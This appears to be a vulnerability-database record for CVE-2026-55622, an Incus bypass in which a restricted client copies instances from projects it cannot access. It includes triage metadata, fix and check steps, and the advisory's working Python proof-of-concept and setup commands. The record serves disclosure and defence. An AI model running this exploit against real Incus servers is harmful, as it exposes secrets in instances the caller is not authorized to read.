{"id":"CVE-2026-55622","kind":"vulnerability","aliases":["CVE-2026-55622","GHSA-c9f5-j9c3-mhrg"],"related":[],"title":"Incus has a project restriction bypass in instance copy across projects","description":"### Summary\nMissing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.\n\n### Details\n`cmd/incusd/instances.go` authorizes `POST /1.0/instances` against the target project. In the copy path, `cmd/incusd/instances_post.go` then loads the source instance from `req.Source.Project` without checking whether the caller can view that source instance.\n\nThe copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.\n\n### PoC\n\n#### Setup\n\nAssumes the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets init images:debian/trixie secret\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#> set, for example\nrestricted: true\nprojects:\n  - default\n\n# verification, with the restricted certificate\nincus ls remote:\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the `secret` instance to the `default` project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n    --cert path/to/client.crt --key path/to/client.key \\\n    --target-project default --source-project secrets \\\n    --source-instance secret --name copy-secret --insecure\n```\n\nWait a bit for the instance to be copied, then `incus ls remote:` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy an instance from a project the caller should not be able to read.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:\n    ctx = ssl.create_default_context()\n    if insecure:\n        ctx.check_hostname = False\n        ctx.verify_mode = ssl.CERT_NONE\n    ctx.load_cert_chain(cert, key)\n\n    req = urllib.request.Request(\n        url.rstrip(\"/\") + path,\n        data=json.dumps(body).encode(),\n        method=\"POST\",\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    try:\n        with urllib.request.urlopen(req, context=ctx) as resp:\n            return resp.read()\n    except urllib.error.HTTPError as exc:\n        sys.stderr.write(exc.read().decode(errors=\"replace\") + \"\\n\")\n        raise\n\n\ndef main() -> int:\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--url\", required=True)\n    ap.add_argument(\"--cert\", required=True)\n    ap.add_argument(\"--key\", required=True)\n    ap.add_argument(\"--target-project\", required=True)\n    ap.add_argument(\"--source-project\", required=True)\n    ap.add_argument(\"--source-instance\", required=True)\n    ap.add_argument(\"--name\", required=True, help=\"new instance name in target project\")\n    ap.add_argument(\"--instance-only\", action=\"store_true\")\n    ap.add_argument(\"--start\", action=\"store_true\")\n    ap.add_argument(\"--insecure\", action=\"store_true\")\n    ap.add_argument(\"--dry-run\", action=\"store_true\")\n    args = ap.parse_args()\n\n    body = {\n        \"name\": args.name,\n        \"source\": {\n            \"type\": \"copy\",\n            \"source\": args.source_instance,\n            \"project\": args.source_project,\n            \"instance_only\": args.instance_only,\n        },\n        \"start\": args.start,\n    }\n    path = \"/1.0/instances?\" + urllib.parse.urlencode({\"project\": args.target_project})\n    print(json.dumps(body, indent=2))\n    if args.dry_run:\n        return 0\n    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors=\"replace\"))\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### Impact\n\nAn attacker can copy instances they don't normally have access to, possibly leading to information disclosure.","summary":"Incus, a system container and virtual machine manager, does not check whether a caller can read the source project when copying an instance. A client with a restricted certificate can copy an instance from a project it cannot access into a project it can use, then move the copy to another server, which can expose its secrets.","severity":"high","cvss":7.7,"epss":0.0034,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/lxc/incus/v7/cmd/incusd","fixed":["7.2.0"],"affected":"< 7.2.0","ecosystem":"go"},{"name":"github.com/lxc/incus","fixed":[],"affected":"> 0","ecosystem":"go"},{"name":"github.com/lxc/incus/v6","fixed":[],"affected":"> 0","ecosystem":"go"},{"name":"github.com/lxc/incus/v7","fixed":["7.2.0"],"affected":"< 7.2.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-284","incus","linux-containers","package","self-hosted"],"not_affected_if":["incus-7.2.0-or-later","no-remote-api","unrestricted-clients-only"],"how_to_check":"- Run `incus --version` on each Incus server and compare against the fixed version\n- Check whether any client certificates are restricted with `incus config trust list` and review their project lists","fix":"- Upgrade Incus Go module `github.com/lxc/incus/v7` and `cmd/incusd` to `7.2.0` or later","status":"open","published_at":"2026-08-21T15:16:42+00:00","first_seen_at":"2026-11-05T17:49:13+00:00","triaged_at":"2026-11-05T17:50:16+00:00","updated_at":"2026-11-05T18:09:59+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-05T17:50:16Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade Incus Go module `github.com/lxc/incus/v7` and `cmd/incusd` to `7.2.0` or later\n- unknown for other products","reach":"network","title":"Incus: restricted client can copy instances from other projects","impact":"medium","summary":"Incus, a system container and virtual machine manager, does not check whether a caller can read the source project when copying an instance. A client with a restricted certificate can copy an instance from a project it cannot access into a project it can use, then move the copy to another server, which can expose its secrets.","audience":"businesses","category":"package","nicknames":[],"who_cares":["incus","self-hosted","linux-containers"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Secrets in instances from other projects are copied and readable by the attacker","analyst_note":"","how_to_check":"- Run `incus --version` on each Incus server and compare against the fixed version\n- Check whether any client certificates are restricted with `incus config trust list` and review their project lists\n- unknown for other checks","plain_action":"","needs_analyst":false,"not_affected_if":["incus-7.2.0-or-later","no-remote-api","unrestricted-clients-only"],"who_is_affected":"Servers running incusd below 7.2.0 where clients connect over the API with certificates restricted to certain projects. A caller needs a valid client certificate with access to at least one project and must know the name of a project and instance they cannot see. Deployments with only fully trusted clients or no remote API access are less exposed.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000864,"input_tokens":5793,"output_tokens":569,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':13A,21A '-284':36B '-55622':14A,22A '/1.0/instances':164C,567C '/lxc/incus':28A '/lxc/incus/v6':31A '/lxc/incus/v7':34A '/lxc/incus/v7/cmd/incusd':25A '/usr/bin/env':359C '0':581C,594C '2':576C '8443':319C 'abl':372C 'accept':441C 'access':83B,124C,150C,159C,226C,265C 'across':10A 'action':522C,528C,534C,542C 'actor':210C 'add':232C 'allow':146C 'annot':378C 'anoth':95B,216C 'ap':467C 'ap.add':469C,474C,479C,484C,491C,498C,505C,517C,525C,531C,537C 'ap.parse':546C 'application/json':440C,442C 'arg':545C,547C 'argpars':380C 'argparse.argumentparser':468C 'args.cert':587C 'args.dry':578C 'args.insecure':589C 'args.instance':562C 'args.key':588C 'args.name':550C 'args.source':555C,558C 'args.start':565C 'args.target':570C 'args.url':584C 'argument':470C,475C,480C,485C,492C,499C,506C,518C,526C,532C,538C 'assum':220C 'attack':112C,148C 'author':104C,157C,162C 'bit':343C 'bodi':399C,432C,548C,574C,586C 'bool':406C 'bypass':6A 'byte':407C 'c9f5':17A 'caller':58B,185C,368C 'cannot':82B 'cert':274C,320C,401C,422C,424C,476C 'cert-fp':273C 'certif':73B,262C,287C 'chain':423C 'check':55B,105C,182C 'client':69B 'cmd/incusd/instances.go':161C 'cmd/incusd/instances_post.go':173C 'command':309C 'config':270C 'contain':40B,48B 'content':438C 'content-typ':437C 'context':411C,447C 'copi':9A,65B,75B,93B,109C,136C,171C,192C,202C,299C,338C,349C,357C,361C,553C 'copy-secret':337C 'could':145C 'creat':233C,241C 'ctx':408C,448C 'ctx.check':414C 'ctx.load':421C 'ctx.verify':417C 'cve':12A,20A 'cwe':35B 'data':430C 'debian/trixie':257C 'decod':459C,590C 'def':393C,464C 'default':246C,251C,282C,305C,327C,410C 'detail':160C 'dict':400C 'done':205C 'dri':540C 'dry-run':539C 'edit':250C,272C 'encod':433C 'error':460C,591C 'exampl':278C 'exc':456C 'exc.read':458C 'except':453C 'exist':106C,261C 'exploit':291C 'expos':99B 'fals':416C 'follow':308C 'fp':275C 'futur':376C 'generat':297C 'ghsa':16A 'ghsa-c9f5-j9c3-mhrg':15A 'github.com':24A,27A,30A,33A 'github.com/lxc/incus':26A 'github.com/lxc/incus/v6':29A 'github.com/lxc/incus/v7':32A 'github.com/lxc/incus/v7/cmd/incusd':23A 'header':436C 'help':510C 'host':44B 'hostnam':415C 'howev':199C 'imag':256C 'import':377C,379C,381C,383C,385C,387C,389C,391C 'incus':1A,37B,45B,239C,243C,247C,252C,269C,288C,351C 'indent':575C 'init':255C 'insecur':340C,405C,413C,533C 'instanc':8A,67B,77B,108C,131C,138C,153C,178C,190C,214C,238C,302C,334C,346C,358C,363C,502C,512C,520C,556C,560C 'instance-on':519C 'int':466C 'ip':317C 'ip-remot':316C 'issu':144C 'j9c3':18A 'json':382C 'json.dumps':431C,573C 'key':322C,403C,425C,481C 'know':113C 'linux':39B 'linux-contain':38B 'load':175C 'ls':289C,352C 'machin':51B 'main':465C,597C 'malici':209C 'manag':52B 'method':434C 'mhrg':19A 'miss':103C 'mode':418C 'move':91B,212C 'must':193C 'n':462C 'name':115C,128C,336C,507C,513C,549C,596C 'new':141C,235C,511C 'none':420C 'noth':206C 'occur':194C 'packag':41B 'part':296C 'path':172C,397C,429C,566C,585C 'path/to/client.crt':321C 'path/to/client.key':323C 'poc':218C 'poc.py':314C 'post':163C,394C,435C,583C 'prevent':207C,264C 'print':572C,582C 'profil':244C 'project':4A,11A,63B,80B,86B,118C,134C,142C,168C,236C,240C,248C,253C,268C,281C,306C,326C,330C,366C,488C,495C,516C,557C,559C,569C,571C 'python3':313C,360C 'rais':463C 'read':60B,374C 'remot':225C,290C,318C,353C 'replac':461C,592C 'req':426C,446C 'req.source.project':180C 'requir':472C,477C,482C,489C,496C,503C,508C 'resp':450C 'resp.read':452C 'restrict':5A,72B,259C,279C,286C 'return':451C,580C,593C 'run':541C,579C 'script':294C 'secret':101B,151C,242C,249C,254C,258C,301C,331C,335C,339C 'see':355C 'self':43B 'self-host':42B 'server':96B,198C,217C,223C 'set':276C 'setup':219C 'show':245C 'sourc':62B,177C,189C,329C,333C,494C,501C,551C,554C 'source-inst':332C,500C 'source-project':328C,493C 'ssl':384C 'ssl.cert':419C 'ssl.create':409C 'start':527C,564C 'store':523C,529C,535C,543C 'str':396C,398C,402C,404C 'summari':102C 'sys':386C 'sys.stderr.write':457C 'system':47B 'target':167C,222C,325C,487C,515C 'target-project':324C,486C 'tri':443C 'true':280C,473C,478C,483C,490C,497C,504C,509C,524C,530C,536C,544C 'trust':271C 'type':439C,552C 'url':315C,395C,471C 'url.rstrip':428C 'urllib.error':388C 'urllib.error.httperror':454C 'urllib.parse':390C 'urllib.parse.urlencode':568C 'urllib.request':392C 'urllib.request.request':427C 'urllib.request.urlopen':445C 'use':89B,312C 'user/certificate':229C 'verif':283C 'view':187C 'virtual':50B 'wait':341C 'whether':56B,183C 'without':181C","nicknames":[],"mitigations":[],"who_affected":"Servers running incusd below 7.2.0 where clients connect over the API with certificates restricted to certain projects. A caller needs a valid client certificate with access to at least one project and must know the name of a project and instance they cannot see. Deployments with only fully trusted clients or no remote API access are less exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomlxcincus","githubcomlxcincusv6","githubcomlxcincusv7","githubcomlxcincusv7cmdincusd"],"ptokens":["cmd","com","github","incus","incusd","lxc","v6","v7"],"labels":["cwe284","go","high","incus","linuxcontainers","package","selfhosted"],"campaign_type":null,"first_public_at":"2026-06-25T22:01:43+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-c9f5-j9c3-mhrg","url":"https://github.com/advisories/GHSA-c9f5-j9c3-mhrg","severity":"high","published_at":"2026-08-28T18:57:27+00:00","modified_at":"2026-11-05T17:45:18+00:00","first_seen_at":"2026-11-05T17:49:13+00:00","fetched_at":"2026-11-05T17:56:29+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-55622","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55622","severity":null,"published_at":"2026-08-21T15:16:42+00:00","modified_at":"2026-10-15T19:10:00+00:00","first_seen_at":"2026-11-05T18:09:59+00:00","fetched_at":"2026-11-05T18:09:59+00:00","note":null}],"documents":[{"id":78389,"url":"https://api.github.com/repos/lxc/incus/security-advisories/GHSA-c9f5-j9c3-mhrg","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":78390,"url":"https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-25T22:01:43+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":78391,"url":"https://github.com/lxc/incus/pull/3542","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":78392,"url":"https://github.com/lxc/incus/commit/1e3ffc53a10950e55de62ac1e0d612be597b84eb","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":78393,"url":"https://github.com/lxc/incus/releases/tag/v7.2.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"exploit_sources":[{"type":"epss","score":0.0034,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55622"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}